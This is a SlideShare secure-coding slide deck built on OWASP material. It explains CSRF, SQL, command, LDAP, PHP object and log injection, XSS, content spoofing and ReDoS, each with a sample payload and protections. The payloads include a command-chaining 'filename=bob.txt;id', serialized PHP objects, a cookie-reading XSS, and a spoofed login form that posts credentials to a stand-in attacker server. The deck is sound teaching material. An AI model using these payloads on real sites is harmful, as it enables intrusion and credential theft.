SlideShare a Scribd company logo
Code securely
Code Securely
By Max Gopey
2
Code Securely
•   Chapter 1. Overview
•   Chapter 2. Vulnerabilities
•   Chapter 3. Injections
•   Chapter 4. Useful stuff
3
OWASP
Open Web Application Security Project
•   Web Security Wiki
•   Cheat Sheets
•   Development Guide
•   Testing Guide
•   Testing Tools
•   Offensive Web Testing Framework
•   Zed Attack Proxy
•   Application Security Verification Standard
•   Anual Top 10 Project
4
•   Section 1: Category:Principle
•   Section 2: Category:Threat Agent
•   Section 3: Category:Attack
•   Section 4: Category:Vulnerability
•   Section 5: Category:Control
•   Section 6: Category:Technical Impact
•   Section 7: Category:Business Impact
Any application security risk has a threat agent
(attacker) who is using an attack to target a
vulnerability (typically a missing or broken
control). If successful, this attack will have both a
technical impact and a business impact. There
may be one or more associated principles as well.
OWASP ASDR
The OWASP Application Security Desk Reference
5
Security principles
•   Apply defense in depth (complete mediation)
•   Use a positive security model (fail-safe defaults, minimize attack surface)
•   Fail securely
•   Run with least privilege
•   Avoid security by obscurity (open design)
•   Keep security simple (verifiable, economy of mechanism)
•   Detect intrusions (compromise recording)
•   Don’t trust infrastructure
•   Don’t trust services
•   Establish secure defaults (psychological acceptability)
6
Threat Agents
An individual or group that can manifest a threat
Threat Agent = Capabilities + Intentions + Past Activities
7
Threat Agents Classification
•   Non-Target Specific: these are computer viruses, worms, trojans and logic bombs.
•   Employees: Staff, contractors, operational/maintenance personnel, or security guards who are
annoyed with the company.
•   Organized Crime and Criminals: Criminals target information that is of value to them, such as bank
accounts, credit cards or intellectual property that can be converted into money.
•   Corporations: Corporations who are engaged in offensive information warfare or competitive
intelligence.
•   Human, Unintentional: Accidents, carelessness.
•   Human, Intentional: Insider, outsider.
•   Natural: Flood, fire, lightning, meteor, earthquakes.
8
Technical Impact
•   Loss of accountability
•   Loss of availability
•   Loss of confidentiality
•   Loss of integrity
9
Business Impact
•   Financial damage
•   Non-compliance
•   Privacy violation
•   Reputation damage
10
Chapter 2
Vulnerabilities
11
Access control enforced by presentation layer Addition of data-structure sentinel Allowing password aging ASP.NET Misconfigurations Assigning
instead of comparing Authentication Bypass via Assumed-Immutable Data Buffer Overflow Buffer underwrite Business logic vulnerability Capture-replay Catch
NullPointerException Comparing classes by name Comparing instead of assigning Comprehensive list of Threats to Authentication Procedures and Data Covert
timing channel CRLF Injection Cross Site Scripting Flaw Dangerous Function Deletion of data-structure sentinel Directory Restriction Error
Deserialization of untrusted data Double Free Doubly freeing memory Duplicate key in associative list (alist) Empty Catch Block Empty String
Password Failure of true random number generator Failure to account for default case in switch Failure to add integrity check value Failure to check for
certificate revocation Failure to check integrity check value Failure to check whether privileges were dropped successfully Failure to deallocate data Failure to
drop privileges when reasonable Failure to encrypt dataFailure to follow chain of trust in certificate validation Failure to follow
guideline/specification Failure to protect stored data from modification Failure to provide confidentiality for stored data Failure to
validate certificate expiration Failure to validate host-specific certificate data File Access Race Condition: TOCTOU Format String Guessed or visible temporary
file Hard-Coded Password Heap Inspection Heap overflow HTTP Parameter Pollution Ignored function return value Illegal Pointer Value Improper cleanup on
thrown exception Improper Data ValidationImproper string length checking Improper error handling
Improper temp file opening Incorrect block delimitation Information Leakage Information leak through class cloning Information leak through
serialization Injection problem Insecure Compiler Optimization Insecure Randomness Insecure Temporary File Insecure Third Party Domain Access Insecure
Transport Insufficient Entropy Insufficient entropy in pseudo-random number generator Insufficient Session-ID Length Integer coercion error Integer overflow
Invoking untrusted mobile code J2EE Misconfiguration: Unsafe Bean Declaration Least Privilege ViolationKey exchange without entity
authentication Leftover Debug Code Log Forging Log injection Member Field Race Condition Memory leak Miscalculated null termination
Misinterpreted function return value Missing parameter Missing XML Validation Mutable object returned Non-cryptographic pseudo-random number generator
Not allowing password aging Not using a random initialization vector with cipher block chaining mode Null Dereference Object Model Violation: Just One of
equals() and hashCode() Defined Often Misused: Authentication Often Misused: Exception Handling Often Misused: File System Often Misused:
Privilege Management Often Misused: String Management Omitted break statement Open forward Open redirect Overflow of static internal buffer Overly-
Broad Catch Block Overly-Broad Throws Declaration Passing mutable objects to an untrusted method Password Management: Hardcoded Password Password
Management: Weak Cryptography Password Plaintext Storage PHP File Inclusion Poor Logging Practice Portability Flaw Privacy Violation PRNG
Seed Error Process Control Publicizing of private data when using inner classes Race Conditions Reflection attack in an auth protocol Reflection injection
Relative path library search Reliance on data layout Relying on package-level scope Resource exhaustion Return Inside Finally Block Reusing a nonce, key pair in
encryption Session Fixation Sign extension error Signed to unsigned conversion error Stack overflow State synchronization error Storing passwords in a
recoverable format String Termination Error Missing Error HandlingSymbolic name not mapping to correct object Template:Vulnerability
Truncation error Trust Boundary Violation Trust of system event data Trusting self-reported DNS name Trusting self-reported IP address Uncaught exception
Unchecked array indexing Unchecked Return Value: Missing Check against Null Undefined Behavior Uninitialized Variable Unintentional pointer scaling
Unreleased Resource Unrestricted File Upload Unsafe function call from a signal handler Unsafe JNI Unsafe Mobile Code Unsafe Reflection Unsigned to signed
conversion error Use of hard-coded password Use of Obsolete Methods Use of sizeof() on a pointer type Using a broken or risky cryptographic
algorithm Using a key past its expiration date Using freed memory Using password systems Using referer field for authentication or authorization Using single-
factor authentication Using the wrong operator Validation performed in client Wrap-around error Write-what-where condition
12
2013 Top 10 List
1.  Injection
2.  Broken Authentication and Session Management
3.  XSS
4.  Insecure Direct Object References
5.  Security Misconfiguration
6.  Sensitive Data Exposure
7.  Missing Function Level Access Control
8.  CSRF
9.  Using Components with Known Vulnerabilities
10.  Unvalidated Redirects and Forwards
13
Chapter 2
Auth Vulnerabilities
•   Authentication Vulnerabilities
•   Authorization Vulnerabilities
•   Session Management Vulnerabilities
•   Password Management Vulnerabilities
14
Chapter 2
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that forces an end user
to execute unwanted actions on a web application in which they're
currently authenticated.
15
Chapter 2
Cross-Site Request Forgery (CSRF)
<img src="http://shop.com/delete.php?product_id=156"/>
16
Chapter 2
CSRF Protection
•   Check Headers: Origin, Referer
•   Use CSRF Token
See: CSRF Prevention Cheat Sheet for more details.
17
Chapter 2
(Anti-)CSRF Token
•   Any state changing operation requires a secure random token to prevent CSRF attacks
•   Characteristics of a CSRF Token:
•   Unique per user session
•   Large random value
•   Generated by a cryptographically secure random number generator
•   The CSRF token is added as a hidden field for forms or within the URL if the state changing operation
occurs via a GET request
•   The server rejects the requested action if the CSRF token fails validation
18
•   SQL Injection
•   Blind SQL Injecion
•   Code Injection
•   Command Injection
•   LDAP Injection
•   PHP Object Injection
•   XSS
•   Content Spoofing
•   Log Forging
•   Regular expression DoS
Chapter 3
Injections
19
Chapter 3
SQL Injection
A SQL injection attack consists of insertion or "injection" of a SQL query
via the input data from the client to the application.
20
Chapter 3
SQL Injection
Username: Mike
Password: ' OR '' = '
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
21
Chapter 3
Blind SQL Injection
Blind SQL injection is a type of SQL Injection attack that asks the
database true or false questions and determines the answer based on
the applications response. This attack is often used when the web
application is configured to show generic error messages, but has not
mitigated the code that is vulnerable to SQL injection.
22
Chapter 3
Blind SQL Injection
http://newspaper.com/items.php?id=2
SELECT title, description, body FROM items WHERE ID = 2
http://newspaper.com/items.php?id=2 and 1=2
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
23
Chapter 3
SQL Injection Protection
•   Websec: SQL Injection Knowledge Base
•   Php.net: SQL Injections Avoidance Techniques
24
Chapter 3
Code Injection
Code Injection is the general term for attack types which consist of
injecting code that is then interpreted/executed by the application.
25
Chapter 3
Code Injection
$myvar = "varname";
$x = $_GET['arg'];
eval("$myvar = $x;");
eval = evil
01.
02.
03.
26
Chapter 3
Code Injection Protection
•   Don't use eval().
•   Don't use eval(), please.
•   Ok, than don't trust any input.
•   Any means any.
27
Chapter 3
Command Injection
Command injection is an attack in which the goal is execution of
arbitrary commands on the host operating system via a vulnerable
application.
28
Chapter 3
Command Injection
print("Please specify the name of the file to delete<br>");
$file = $_GET['filename'];
system("rm $file");
Request:
http://127.0.0.1/delete.php?filename=bob.txt;id
Response:
Please specify the name of the file to delete
uid=33(www-data) gid=33(www-data) groups=33(www-data)
01.
02.
03.
01.
02.
29
Chapter 3
Command Injection Protection
•   Don't use input in commands where possible
•   Validate input
•   Escape input
30
Chapter 3
LDAP Injection
LDAP Injection is an attack used to exploit web based applications that
construct LDAP statements based on user input.
31
Chapter 3
LDAP Injection
$ldapSearchQuery = "(cn=" + $userName + ")";
•   *
•   jonys) (| (password = * )
32
Chapter 3
LDAP Injection Protection
•   Escape user input:
•   &, !, |, =, <, >, ,, +, -, ", ', ; used in DN - Requires  escape
•   (, ), , *, /, NUL used in Filter - Requires {ASCII} escape
33
Chapter 3
PHP Object Injection
PHP Object Injection is an application level vulnerability
that could allow an attacker to perform different kinds of attacks
using object unserialization or destruction.
34
PHP Object Injection
class Example1
{
public $cache_file;
 
function __destruct() {
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
 
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
35
PHP Object Injection
class Example2
{
private $hook;
 
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
 
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
Cookie: data=O:8:"Example2":1:{s:4:"hook";s:10:"phpinfo();";}
01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
36
Chapter 3
PHP Object Injection Protection
•   Don't unserialize user input, use JSON functions instead
•   Validate data in __wakeup()
37
Chapter 3
Cross-site Scripting (XSS)
Cross-Site Scripting (XSS) attacks are a type of injection, in which
malicious scripts are injected into trusted web sites.
•   Stored
•   Reflected
•   DOM Based
38
Chapter 3
Cross-site Scripting (XSS)
<?php
$employeeId = $_GET['employee_id'];
...
?>
Exmployee ID: <?php echo $employeeId ?>
http://testsite.com/vuln.php?employee_id=123<script>alert(1)</script>
01.
02.
03.
04.
05.
39
Cross-site Scripting (XSS)
http://www.some.site/page.html?default=French
Select your language:
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring(
document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
http://www.some.site/page.html?default=<script>alert(document.cookie)</script>
01.
02.
03.
04.
05.
06.
40
Chapter 3
XSS Protection
•   XSS Prevention Cheat Sheet
•   DOM based XSS Prevention Cheat Sheet
•   XSS Filter Evasion Cheat Sheet
41
Chapter 3
XSS Protection
1.  Never Insert Untrusted Data Except in Allowed Locations
2.  HTML Escape Before Inserting Untrusted Data into HTML Element Content
3.  Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
4.  JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values
5.  HTML escape JSON values in an HTML context and read the data with JSON.parse
6.  CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values
7.  URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
8.  Sanitize HTML Markup with a Library Designed for the Job
9.  Prevent DOM-based XSS
42
Chapter 3
DOM Based XSS Protection
1.  HTML Escape then JavaScript Escape Before Inserting Untrusted Data into HTML Subcontext *
2.  JavaScript Escape Before Inserting Untrusted Data into HTML Attribute Subcontext *
3.  Be Careful when Inserting Untrusted Data into the Event Handler and JavaScript code Subcontexts *
4.  JavaScript Escape Before Inserting Untrusted Data into the CSS Attribute Subcontext *
5.  URL Escape then JavaScript Escape Before Inserting Untrusted Data into URL Attribute Subcontext *
6.  Populate the DOM using safe JavaScript functions or properties
* — within the Execution Context
43
Chapter 3
XSS Protection (Bonus)
1.  Use HTTPOnly cookie flag
2.  Implement Content Security Policy
3.  Use an Auto-Escaping Template System
4.  Use the X-XSS-Protection Response Header
44
Chapter 3
Content Spoofing
Content spoofing, also referred to as content injection, is an attack
targeting a user made possible by an injection vulnerability in a web
application. When an application does not properly handle user
supplied data, an attacker can supply content to a web application that
is reflected back to the user. This presents the user with a modified
page under the context of the trusted domain.
45
Content Spoofing
<?php
$name = $_REQUEST ['name'];
?>
<html>
<h1>Welcome to the Internet!</h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!</p>
</body>
</html>
01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
46
Content Spoofing
http://127.0.0.1/vulnerable.php?name=test
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and
Password to Proceed:</h3><form method="POST"
action="http://attackerserver/login.php">Username: <input type="text"
name="username" /><br />Password: <input type="password" name="password" /><br
/><input type="submit" value="Login" /></form><!--
47
Chapter 3
Content Spoofing Protection
See: XSS Protection
48
Chapter 3
Log Forging
Writing unvalidated user input to log files can allow an attacker to forge
log entries or inject malicious content into the logs.
49
Chapter 3
Log Forging
$productId = Mage::app()->getRequest()->getParam('id');
try {
$product->load($productId);
} catch (Mage_Exception $exception) {
Mage::log('Failed to load product with ID = ' + $productId);
}
http://magento.site/index.php?id=5n2016-04-19T15:13:24+00:00 ERR (3): Payment was
successful for order #100000156, but Magento was not able to complete the order.
— Hello! I just payed 500$ for a laptop, order # is 100000156, my credit card was charged, but the site
showed an error. Could you maybe check your log files?
01.
02.
03.
04.
05.
06.
50
Chapter 3
Regular expression DoS
The Regular expression Denial of Service (ReDoS) is a Denial of Service
attack, that exploits the fact that most Regular Expression
implementations may reach extreme situations that cause them to
work very slowly
51
^(a+)+$
Chapter 3
Regular expression DoS
•   Input: 'aaaaX' — 16 possible paths
•   Input: 'aaaaaaaaaaaaaaaaX' — 65536 possible paths
•   The number is double for each additional a.
52
Chapter 3
ReDoS: Evil Regexes
A Regex is called "evil" if it can stuck on crafted input.
Evil Regex pattern contains:
•   Grouping with repetition
•   Inside the repeated group:
•   Repetition
•   Alternation with overlapping
53
Chapter 3
ReDoS: Evil Regexes
(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} // for x > 10
All the above are susceptible to the input aaaaaaaaaaaaaaaaaaaaaaaa!
54
Chapter 3
ReDoS: Evil Regexes
^(([a-z])+.)+[A-Z]([a-z])+$
55
Chapter 3
Regular expression DoS
•   Don't misuse regexes.
•   Avoid evil regexes.
56
Chapter 4
Useful
•   Path Traversal
•   Full Path Disclosure
•   Web Parameter Tampering
•   Content Security Policy
•   HTTP access control (CORS)
•   Least Privilege Principle
57
OWASP Developer Guide
https://github.com/OWASP/DevGuide
58
Code securely

More Related Content

What's hot (20)

PPTX
DevSecCon Talk: An experiment in agile Threat Modelling
zeroXten
 
PPTX
Student Spring 2021
Denis Zakharov
 
PDF
Neoito — Secure coding practices
Neoito
 
PPTX
Web Application Penetration Testing Introduction
gbud7
 
PDF
The New OWASP Top Ten: Let's Cut to the Chase
Security Innovation
 
PDF
Nii sample pt_report
Chandan Bagai, GWAPT, CEHv8, CCNA
 
PPTX
Modernizing, Migrating & Mitigating - Moving to Modern Cloud & API Web Apps W...
Security Innovation
 
PDF
Secure coding-guidelines
Trupti Shiralkar, CISSP
 
PPTX
SSRF exploit the trust relationship
n|u - The Open Security Community
 
PPTX
Secure Coding 101 - OWASP University of Ottawa Workshop
Paul Ionescu
 
PPT
Step by step guide for web application security testing
Avyaan, Web Security Company in India
 
PPT
香港六合彩
baoyin
 
PPTX
Ebu class edgescan-2017
Eoin Keary
 
PPTX
Owasp first5 presentation
Ashwini Paranjpe
 
PDF
BlueHat v18 || Protecting the protector, hardening machine learning defenses ...
BlueHat Security Conference
 
PPT
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
IBM Security
 
PPT
Penetration Testing Basics
Rick Wanner
 
PDF
Real World Application Threat Modelling By Example
NCC Group
 
PDF
BlueHat v18 || The hitchhiker's guide to north korea's malware galaxy
BlueHat Security Conference
 
PPTX
Security hole #5 application security science or quality assurance
Tjylen Veselyj
 
DevSecCon Talk: An experiment in agile Threat Modelling
zeroXten
 
Student Spring 2021
Denis Zakharov
 
Neoito — Secure coding practices
Neoito
 
Web Application Penetration Testing Introduction
gbud7
 
The New OWASP Top Ten: Let's Cut to the Chase
Security Innovation
 
Nii sample pt_report
Chandan Bagai, GWAPT, CEHv8, CCNA
 
Modernizing, Migrating & Mitigating - Moving to Modern Cloud & API Web Apps W...
Security Innovation
 
Secure coding-guidelines
Trupti Shiralkar, CISSP
 
SSRF exploit the trust relationship
n|u - The Open Security Community
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Paul Ionescu
 
Step by step guide for web application security testing
Avyaan, Web Security Company in India
 
香港六合彩
baoyin
 
Ebu class edgescan-2017
Eoin Keary
 
Owasp first5 presentation
Ashwini Paranjpe
 
BlueHat v18 || Protecting the protector, hardening machine learning defenses ...
BlueHat Security Conference
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
IBM Security
 
Penetration Testing Basics
Rick Wanner
 
Real World Application Threat Modelling By Example
NCC Group
 
BlueHat v18 || The hitchhiker's guide to north korea's malware galaxy
BlueHat Security Conference
 
Security hole #5 application security science or quality assurance
Tjylen Veselyj
 

Similar to Code securely (20)

PDF
OWASP Top Ten in Practice
Security Innovation
 
PPTX
How to Test for The OWASP Top Ten
Security Innovation
 
PDF
Injecting simplicity not SQL RSA Europe 2010
Security Ninja
 
PPTX
OWASP_Training.pptx
Pradip Bhattarai
 
PDF
Security Ninjas: An Open Source Application Security Training Program
OpenDNS
 
PDF
Security Awareness
Lucas Hendrich
 
PPTX
The path of secure software by Katy Anton
DevSecCon
 
PPTX
State of the information security nation
SensePost
 
PDF
Owasp Top 10-2013
n|u - The Open Security Community
 
PDF
OWASPTop 10
InnoTech
 
PDF
Solvay secure application layer v2015 seba
Sebastien Deleersnyder
 
PPTX
OWASP top 10-2013
tmd800
 
PPTX
2.1 Web Vulnerabilities.pptx
MiteshVyas16
 
PDF
Secure coding presentation Oct 3 2020
Moataz Kamel
 
PDF
Web security uploadv1
Setia Juli Irzal Ismail
 
PDF
Web application sec_3
vhimsikal
 
PDF
Injecting simplicity not SQL BSides Las Vegas 2010
Security Ninja
 
PDF
Alert logic anatomy owasp infographic
CMR WORLD TECH
 
PPT
Secure code practices
Hina Rawal
 
PDF
Secure Coding BSSN Semarang Material.pdf
nanangAris1
 
OWASP Top Ten in Practice
Security Innovation
 
How to Test for The OWASP Top Ten
Security Innovation
 
Injecting simplicity not SQL RSA Europe 2010
Security Ninja
 
OWASP_Training.pptx
Pradip Bhattarai
 
Security Ninjas: An Open Source Application Security Training Program
OpenDNS
 
Security Awareness
Lucas Hendrich
 
The path of secure software by Katy Anton
DevSecCon
 
State of the information security nation
SensePost
 
OWASPTop 10
InnoTech
 
Solvay secure application layer v2015 seba
Sebastien Deleersnyder
 
OWASP top 10-2013
tmd800
 
2.1 Web Vulnerabilities.pptx
MiteshVyas16
 
Secure coding presentation Oct 3 2020
Moataz Kamel
 
Web security uploadv1
Setia Juli Irzal Ismail
 
Web application sec_3
vhimsikal
 
Injecting simplicity not SQL BSides Las Vegas 2010
Security Ninja
 
Alert logic anatomy owasp infographic
CMR WORLD TECH
 
Secure code practices
Hina Rawal
 
Secure Coding BSSN Semarang Material.pdf
nanangAris1
 
Ad

Recently uploaded (20)

PPTX
Home Care Tools: Benefits, features and more
Third Rock Techkno
 
PDF
iTop VPN With Crack Lifetime Activation Key-CODE
utfefguu
 
PPTX
In From the Cold: Open Source as Part of Mainstream Software Asset Management
Shane Coughlan
 
PPTX
Help for Correlations in IBM SPSS Statistics.pptx
Version 1 Analytics
 
PDF
Download Canva Pro 2025 PC Crack Full Latest Version
bashirkhan333g
 
PPTX
Change Common Properties in IBM SPSS Statistics Version 31.pptx
Version 1 Analytics
 
PDF
Alexander Marshalov - How to use AI Assistants with your Monitoring system Q2...
VictoriaMetrics
 
PPTX
Hardware(Central Processing Unit ) CU and ALU
RizwanaKalsoom2
 
PDF
Automate Cybersecurity Tasks with Python
VICTOR MAESTRE RAMIREZ
 
PPTX
Foundations of Marketo Engage - Powering Campaigns with Marketo Personalization
bbedford2
 
PDF
Wondershare PDFelement Pro Crack for MacOS New Version Latest 2025
bashirkhan333g
 
PDF
vMix Pro 28.0.0.42 Download vMix Registration key Bundle
kulindacore
 
PDF
Digger Solo: Semantic search and maps for your local files
seanpedersen96
 
PDF
IDM Crack with Internet Download Manager 6.42 Build 43 with Patch Latest 2025
bashirkhan333g
 
PPTX
AEM User Group: India Chapter Kickoff Meeting
jennaf3
 
PDF
Linux Certificate of Completion - LabEx Certificate
VICTOR MAESTRE RAMIREZ
 
PDF
Why Businesses Are Switching to Open Source Alternatives to Crystal Reports.pdf
Varsha Nayak
 
PPTX
Agentic Automation Journey Session 1/5: Context Grounding and Autopilot for E...
klpathrudu
 
PPTX
Empowering Asian Contributions: The Rise of Regional User Groups in Open Sour...
Shane Coughlan
 
PPTX
OpenChain @ OSS NA - In From the Cold: Open Source as Part of Mainstream Soft...
Shane Coughlan
 
Home Care Tools: Benefits, features and more
Third Rock Techkno
 
iTop VPN With Crack Lifetime Activation Key-CODE
utfefguu
 
In From the Cold: Open Source as Part of Mainstream Software Asset Management
Shane Coughlan
 
Help for Correlations in IBM SPSS Statistics.pptx
Version 1 Analytics
 
Download Canva Pro 2025 PC Crack Full Latest Version
bashirkhan333g
 
Change Common Properties in IBM SPSS Statistics Version 31.pptx
Version 1 Analytics
 
Alexander Marshalov - How to use AI Assistants with your Monitoring system Q2...
VictoriaMetrics
 
Hardware(Central Processing Unit ) CU and ALU
RizwanaKalsoom2
 
Automate Cybersecurity Tasks with Python
VICTOR MAESTRE RAMIREZ
 
Foundations of Marketo Engage - Powering Campaigns with Marketo Personalization
bbedford2
 
Wondershare PDFelement Pro Crack for MacOS New Version Latest 2025
bashirkhan333g
 
vMix Pro 28.0.0.42 Download vMix Registration key Bundle
kulindacore
 
Digger Solo: Semantic search and maps for your local files
seanpedersen96
 
IDM Crack with Internet Download Manager 6.42 Build 43 with Patch Latest 2025
bashirkhan333g
 
AEM User Group: India Chapter Kickoff Meeting
jennaf3
 
Linux Certificate of Completion - LabEx Certificate
VICTOR MAESTRE RAMIREZ
 
Why Businesses Are Switching to Open Source Alternatives to Crystal Reports.pdf
Varsha Nayak
 
Agentic Automation Journey Session 1/5: Context Grounding and Autopilot for E...
klpathrudu
 
Empowering Asian Contributions: The Rise of Regional User Groups in Open Sour...
Shane Coughlan
 
OpenChain @ OSS NA - In From the Cold: Open Source as Part of Mainstream Soft...
Shane Coughlan
 
Ad

Code securely

  • 3. Code Securely •   Chapter 1. Overview •   Chapter 2. Vulnerabilities •   Chapter 3. Injections •   Chapter 4. Useful stuff 3
  • 4. OWASP Open Web Application Security Project •   Web Security Wiki •   Cheat Sheets •   Development Guide •   Testing Guide •   Testing Tools •   Offensive Web Testing Framework •   Zed Attack Proxy •   Application Security Verification Standard •   Anual Top 10 Project 4
  • 5. •   Section 1: Category:Principle •   Section 2: Category:Threat Agent •   Section 3: Category:Attack •   Section 4: Category:Vulnerability •   Section 5: Category:Control •   Section 6: Category:Technical Impact •   Section 7: Category:Business Impact Any application security risk has a threat agent (attacker) who is using an attack to target a vulnerability (typically a missing or broken control). If successful, this attack will have both a technical impact and a business impact. There may be one or more associated principles as well. OWASP ASDR The OWASP Application Security Desk Reference 5
  • 6. Security principles •   Apply defense in depth (complete mediation) •   Use a positive security model (fail-safe defaults, minimize attack surface) •   Fail securely •   Run with least privilege •   Avoid security by obscurity (open design) •   Keep security simple (verifiable, economy of mechanism) •   Detect intrusions (compromise recording) •   Don’t trust infrastructure •   Don’t trust services •   Establish secure defaults (psychological acceptability) 6
  • 7. Threat Agents An individual or group that can manifest a threat Threat Agent = Capabilities + Intentions + Past Activities 7
  • 8. Threat Agents Classification •   Non-Target Specific: these are computer viruses, worms, trojans and logic bombs. •   Employees: Staff, contractors, operational/maintenance personnel, or security guards who are annoyed with the company. •   Organized Crime and Criminals: Criminals target information that is of value to them, such as bank accounts, credit cards or intellectual property that can be converted into money. •   Corporations: Corporations who are engaged in offensive information warfare or competitive intelligence. •   Human, Unintentional: Accidents, carelessness. •   Human, Intentional: Insider, outsider. •   Natural: Flood, fire, lightning, meteor, earthquakes. 8
  • 9. Technical Impact •   Loss of accountability •   Loss of availability •   Loss of confidentiality •   Loss of integrity 9
  • 10. Business Impact •   Financial damage •   Non-compliance •   Privacy violation •   Reputation damage 10
  • 12. Access control enforced by presentation layer Addition of data-structure sentinel Allowing password aging ASP.NET Misconfigurations Assigning instead of comparing Authentication Bypass via Assumed-Immutable Data Buffer Overflow Buffer underwrite Business logic vulnerability Capture-replay Catch NullPointerException Comparing classes by name Comparing instead of assigning Comprehensive list of Threats to Authentication Procedures and Data Covert timing channel CRLF Injection Cross Site Scripting Flaw Dangerous Function Deletion of data-structure sentinel Directory Restriction Error Deserialization of untrusted data Double Free Doubly freeing memory Duplicate key in associative list (alist) Empty Catch Block Empty String Password Failure of true random number generator Failure to account for default case in switch Failure to add integrity check value Failure to check for certificate revocation Failure to check integrity check value Failure to check whether privileges were dropped successfully Failure to deallocate data Failure to drop privileges when reasonable Failure to encrypt dataFailure to follow chain of trust in certificate validation Failure to follow guideline/specification Failure to protect stored data from modification Failure to provide confidentiality for stored data Failure to validate certificate expiration Failure to validate host-specific certificate data File Access Race Condition: TOCTOU Format String Guessed or visible temporary file Hard-Coded Password Heap Inspection Heap overflow HTTP Parameter Pollution Ignored function return value Illegal Pointer Value Improper cleanup on thrown exception Improper Data ValidationImproper string length checking Improper error handling Improper temp file opening Incorrect block delimitation Information Leakage Information leak through class cloning Information leak through serialization Injection problem Insecure Compiler Optimization Insecure Randomness Insecure Temporary File Insecure Third Party Domain Access Insecure Transport Insufficient Entropy Insufficient entropy in pseudo-random number generator Insufficient Session-ID Length Integer coercion error Integer overflow Invoking untrusted mobile code J2EE Misconfiguration: Unsafe Bean Declaration Least Privilege ViolationKey exchange without entity authentication Leftover Debug Code Log Forging Log injection Member Field Race Condition Memory leak Miscalculated null termination Misinterpreted function return value Missing parameter Missing XML Validation Mutable object returned Non-cryptographic pseudo-random number generator Not allowing password aging Not using a random initialization vector with cipher block chaining mode Null Dereference Object Model Violation: Just One of equals() and hashCode() Defined Often Misused: Authentication Often Misused: Exception Handling Often Misused: File System Often Misused: Privilege Management Often Misused: String Management Omitted break statement Open forward Open redirect Overflow of static internal buffer Overly- Broad Catch Block Overly-Broad Throws Declaration Passing mutable objects to an untrusted method Password Management: Hardcoded Password Password Management: Weak Cryptography Password Plaintext Storage PHP File Inclusion Poor Logging Practice Portability Flaw Privacy Violation PRNG Seed Error Process Control Publicizing of private data when using inner classes Race Conditions Reflection attack in an auth protocol Reflection injection Relative path library search Reliance on data layout Relying on package-level scope Resource exhaustion Return Inside Finally Block Reusing a nonce, key pair in encryption Session Fixation Sign extension error Signed to unsigned conversion error Stack overflow State synchronization error Storing passwords in a recoverable format String Termination Error Missing Error HandlingSymbolic name not mapping to correct object Template:Vulnerability Truncation error Trust Boundary Violation Trust of system event data Trusting self-reported DNS name Trusting self-reported IP address Uncaught exception Unchecked array indexing Unchecked Return Value: Missing Check against Null Undefined Behavior Uninitialized Variable Unintentional pointer scaling Unreleased Resource Unrestricted File Upload Unsafe function call from a signal handler Unsafe JNI Unsafe Mobile Code Unsafe Reflection Unsigned to signed conversion error Use of hard-coded password Use of Obsolete Methods Use of sizeof() on a pointer type Using a broken or risky cryptographic algorithm Using a key past its expiration date Using freed memory Using password systems Using referer field for authentication or authorization Using single- factor authentication Using the wrong operator Validation performed in client Wrap-around error Write-what-where condition 12
  • 13. 2013 Top 10 List 1.  Injection 2.  Broken Authentication and Session Management 3.  XSS 4.  Insecure Direct Object References 5.  Security Misconfiguration 6.  Sensitive Data Exposure 7.  Missing Function Level Access Control 8.  CSRF 9.  Using Components with Known Vulnerabilities 10.  Unvalidated Redirects and Forwards 13
  • 14. Chapter 2 Auth Vulnerabilities •   Authentication Vulnerabilities •   Authorization Vulnerabilities •   Session Management Vulnerabilities •   Password Management Vulnerabilities 14
  • 15. Chapter 2 Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. 15
  • 16. Chapter 2 Cross-Site Request Forgery (CSRF) <img src="http://shop.com/delete.php?product_id=156"/> 16
  • 17. Chapter 2 CSRF Protection •   Check Headers: Origin, Referer •   Use CSRF Token See: CSRF Prevention Cheat Sheet for more details. 17
  • 18. Chapter 2 (Anti-)CSRF Token •   Any state changing operation requires a secure random token to prevent CSRF attacks •   Characteristics of a CSRF Token: •   Unique per user session •   Large random value •   Generated by a cryptographically secure random number generator •   The CSRF token is added as a hidden field for forms or within the URL if the state changing operation occurs via a GET request •   The server rejects the requested action if the CSRF token fails validation 18
